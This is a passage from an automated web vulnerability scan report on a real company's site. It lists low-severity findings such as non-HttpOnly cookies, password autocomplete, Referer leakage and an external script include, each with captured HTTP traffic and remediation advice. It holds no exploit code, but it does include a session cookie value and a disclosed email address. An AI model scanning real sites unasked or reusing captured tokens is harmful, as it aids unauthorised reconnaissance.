Confidence:   Certain
Host:   http://www.barracudanetworks.com
Path:   /ns/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /ns/?a=bsf_product&L=en HTTP/1.1
Host: www.barracudanetworks.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1305850488.1; barra_tracking_code=bsf_product; locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A

Response

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Mon, 23-May-2011 11:33:20 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Set-Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; expires=Wed, 22-Jun-2011 11:41:40 GMT; path=/
Date: Mon, 23 May 2011 11:41:40 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta ht
...[SNIP]...

6. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://login.barracudanetworks.com
Path:   /auth/login/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /auth/login/ HTTP/1.1
Host: login.barracudanetworks.com
Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1306150907.2; __utmc=91832325; __utmb=91832325.1.10.1306150907; CLOUD_LOCALE=en_US; cloud_session=vt3ghperckvebeg1r8fc2hv1n0

Response

HTTP/1.1 200 OK
Date: Mon, 23 May 2011 12:14:27 GMT
Server: Apache
Set-Cookie: CLOUD_LOCALE=en_US; expires=Sat, 19-Nov-2011 12:14:27 GMT; path=/; domain=.barracudanetworks.com
Expires: Sun, 23 May 2010 08:14:27 -0400
Cache-Control: no-store
Pragma: no-cache
Set-Cookie: cloud_session=vt3ghperckvebeg1r8fc2hv1n0; path=/; domain=.barracudanetworks.com
X-Cloud-Auth: 0
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 6191

<!DOCTYPE html>
<!-- Portal Version 2.1.0 (32278) -->
<html>
   <head>
       <meta charset="UTF-8">
       <meta http-equiv="Content-Version" content="2.1.0">
       <title>Sign In > Barracuda Networks</title>
       <lin
...[SNIP]...
<div id="users_pane_body">
                                                           <form class="ultraform" name="login" action="/auth/login/" method="post" accept-charset="utf-8">
                       <div class="fieldGroup">
...[SNIP]...
<span><input tabindex="101" type="password" id="password" name="password" validation="required" placeholder="Password" value="" size="50"></span>
...[SNIP]...

7. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


7.1. http://www.barracudanetworks.com/ns/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.barracudanetworks.com
Path:   /ns/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /ns/?a=bsf_product&L=en HTTP/1.1
Host: www.barracudanetworks.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1305850488.1; barra_tracking_code=bsf_product; locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A

Response

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Mon, 23-May-2011 11:33:20 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Set-Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; expires=Wed, 22-Jun-2011 11:41:40 GMT; path=/
Date: Mon, 23 May 2011 11:41:40 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta ht
...[SNIP]...
<li><a href="http://www.barracudanetworksag.com"><span>
...[SNIP]...
<li><a href="http://www.barracudacentral.org"><span>
...[SNIP]...
<li><a href="http://www.barracudalabs.com"><span>
...[SNIP]...
<li><a href="http://www.barracudaware.com"><span>
...[SNIP]...
<li><a href="http://www.cudatel.com"><span>
...[SNIP]...
<li><a href="http://www.cudaeye.com"><span>
...[SNIP]...
<div style="float: right; margin: 0 16px 2px;"><a href="https://login.barracuda.com" style="text-decoration: none;"><img src="/ns/gfx/customer_login.png" name="customer_login" id="customer_login" onmouseover="roll_over('/ns/gfx/customer_login_hover.png','customer_login')" onmouseout="roll_over('/ns/gfx/customer_logi
...[SNIP]...
<li class="news">
               <a href="http://www.barracudalabs.com/wordpress/index.php/2011/05/17/facebook-videos-now-leading-to-fake-youtube-captchas/" target="_blank">Facebook Videos Lead to Fake YouTube CAPTCHAs</a>
...[SNIP]...
<map name="webinar-reg">
           <area shape="rect" coords="0,0,300,190" href="http://event.on24.com/r.htm?e=304247&s=1&k=6B7171BCAA475A8D8D9D96C71571A46B&partnerref=cudahome" target="_blank">
       </map>
...[SNIP]...
</h1>
<a style="font-weight: normal; text-decoration: none;" href="http://www.barracudacentral.org">
       <p>
...[SNIP]...
<a href="customers/"><img src="http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United States/1052_fisker logo.jpg" alt="Fisker Automotive" title="Fisker Automotive - A Barracuda Networks Customer"/></a>
                                           <a href="customers/"><img src="http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United States/861_h4.jpg" alt="New Orleans Hornets" title="New Orleans Hornets - A Barracuda Networks Customer"/></a>
                                           <a href="customers/"><img src="http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United States/668_customer_ymca.gif" alt="YMCA" title="YMCA - A Barracuda Networks Customer"/></a>
...[SNIP]...
</a>
           | <a href="http://www.barracudanetworksag.com">Barracuda Networks AG</a>
           | <a href="http://www.barracudacentral.org">Barracuda Central</a>
           | <a href="http://www.barracudalabs.com">Barracuda Labs</a>
           | <a href="http://www.barracudaware.com">BarracudaWare</a>
           | <a href="http://www.cudatel.com">CudaTel</a>                        
           | <a href="http://www.cudaeye.com">CudaEye</a>
...[SNIP]...
<div id="live-chat-loader" style="display: none">
<script type="text/javascript" src="http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx?div=&zimg=59&lhnid=1288&iv=&custom1=&custom2=&custom3=&t=f"></script>
...[SNIP]...

7.2. http://www.barracudanetworks.com/ns/  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.barracudanetworks.com
Path:   /ns/

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /ns/?a=bsf_product&L=en HTTP/1.1
Host: www.barracudanetworks.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1305850488.1; barra_tracking_code=bsf_product; locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A

Response

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Mon, 23-May-2011 11:35:59 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Set-Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; expires=Wed, 22-Jun-2011 11:44:19 GMT; path=/
Date: Mon, 23 May 2011 11:44:19 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta ht
...[SNIP]...
<li><a href="http://www.barracudanetworksag.com"><span>
...[SNIP]...
<li><a href="http://www.barracudacentral.org"><span>
...[SNIP]...
<li><a href="http://www.barracudalabs.com"><span>
...[SNIP]...
<li><a href="http://www.barracudaware.com"><span>
...[SNIP]...
<li><a href="http://www.cudatel.com"><span>
...[SNIP]...
<li><a href="http://www.cudaeye.com"><span>
...[SNIP]...
<div style="float: right; margin: 0 16px 2px;"><a href="https://login.barracuda.com" style="text-decoration: none;"><img src="/ns/gfx/customer_login.png" name="customer_login" id="customer_login" onmouseover="roll_over('/ns/gfx/customer_login_hover.png','customer_login')" onmouseout="roll_over('/ns/gfx/customer_logi
...[SNIP]...
<li class="news">
               <a href="http://www.barracudalabs.com/wordpress/index.php/2011/05/17/facebook-videos-now-leading-to-fake-youtube-captchas/" target="_blank">Facebook Videos Lead to Fake YouTube CAPTCHAs</a>
...[SNIP]...
<map name="webinar-reg">
           <area shape="rect" coords="0,0,300,190" href="http://event.on24.com/r.htm?e=304247&s=1&k=6B7171BCAA475A8D8D9D96C71571A46B&partnerref=cudahome" target="_blank">
       </map>
...[SNIP]...
</h1>
<a style="font-weight: normal; text-decoration: none;" href="http://www.barracudacentral.org">
       <p>
...[SNIP]...
<a href="customers/"><img src="http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United States/548_atmel.gif" alt="Atmel" title="Atmel - A Barracuda Networks Customer"/></a>
                                           <a href="customers/"><img src="http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United States/661_customer_oakley.gif" alt="Oakley Inc." title="Oakley Inc. - A Barracuda Networks Customer"/></a>
                                           <a href="customers/"><img src="http://www.barracuda.com/ns/customers/gfx/new_customer_logos/United States/367_chevrolet.gif" alt="Chevrolet" title="Chevrolet - A Barracuda Networks Customer"/></a>
...[SNIP]...
</a>
           | <a href="http://www.barracudanetworksag.com">Barracuda Networks AG</a>
           | <a href="http://www.barracudacentral.org">Barracuda Central</a>
           | <a href="http://www.barracudalabs.com">Barracuda Labs</a>
           | <a href="http://www.barracudaware.com">BarracudaWare</a>
           | <a href="http://www.cudatel.com">CudaTel</a>                        
           | <a href="http://www.cudaeye.com">CudaEye</a>
...[SNIP]...
<div id="live-chat-loader" style="display: none">
<script type="text/javascript" src="http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx?div=&zimg=59&lhnid=1288&iv=&custom1=&custom2=&custom3=&t=f"></script>
...[SNIP]...

8. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.barracudanetworks.com
Path:   /ns/

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /ns/?a=bsf_product&L=en HTTP/1.1
Host: www.barracudanetworks.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1305850488.1; barra_tracking_code=bsf_product; locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A

Response

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: barra_tracking_code=bsf_product; path=/
Set-Cookie: locale=+; expires=Mon, 23-May-2011 11:33:20 GMT
Set-Cookie: locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; path=/
Set-Cookie: barra_hidden_menus=a%3A0%3A%7B%7D; expires=Wed, 22-Jun-2011 11:41:40 GMT; path=/
Date: Mon, 23 May 2011 11:41:40 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta ht
...[SNIP]...
<div id="live-chat-loader" style="display: none">
<script type="text/javascript" src="http://www.livehelpnow.net/lhn/scripts/lhnvisitor.aspx?div=&zimg=59&lhnid=1288&iv=&custom1=&custom2=&custom3=&t=f"></script>
...[SNIP]...

9. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.barracudanetworks.com
Path:   /ns/js/wysiwyg/wysiwyg.js

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /ns/js/wysiwyg/wysiwyg.js?v=2009-04-03a HTTP/1.1
Host: www.barracudanetworks.com
Proxy-Connection: keep-alive
Referer: http://www.barracudanetworks.com/ns/?a=bsf_product&L=en
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=91832325.1305850488.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=91832325.1694505037.1305850488.1305850488.1305850488.1; barra_tracking_code=bsf_product; locale=country_code%0Aus%0Aregion%0Aus%0Alang_code%0Aen%0Ag_geo_ip_detect%0A%FF0%FF%0A; barra_hidden_menus=a%3A0%3A%7B%7D

Response

HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Type: application/x-javascript
Last-Modified: Wed, 20 May 2009 20:16:11 GMT
Accept-Ranges: bytes
ETag: "e4e49cd187d9c91:18c3"
Date: Mon, 23 May 2011 11:41:47 GMT
Vary: Accept-Encoding
Content-Length: 34315

//
// openWYSIWYG v1.0 Copyright (c) 2006 openWebWare.com
// This copyright notice MUST stay intact for use.
//
// An open source WYSIWYG editor for use in web based applications.
// For full sou
...[SNIP]...
ption : Emulates insertAdjacentHTML(), insertAdjacentText() and
    insertAdjacentElement() three functions so they work with
                               Netscape 6/Mozilla
Notes : by Thor Larholm me@jscript.dk
\* ---------------------------------------------------------------------- */
if(typeof HTMLElement!="undefined" && !HTMLElement.prototype.insertAdjacentElement){
HTMLElement.prototype.insertAdjac
...[SNIP]...

Report generated by XSS.CX at Mon May 23 07:04:56 CDT 2011.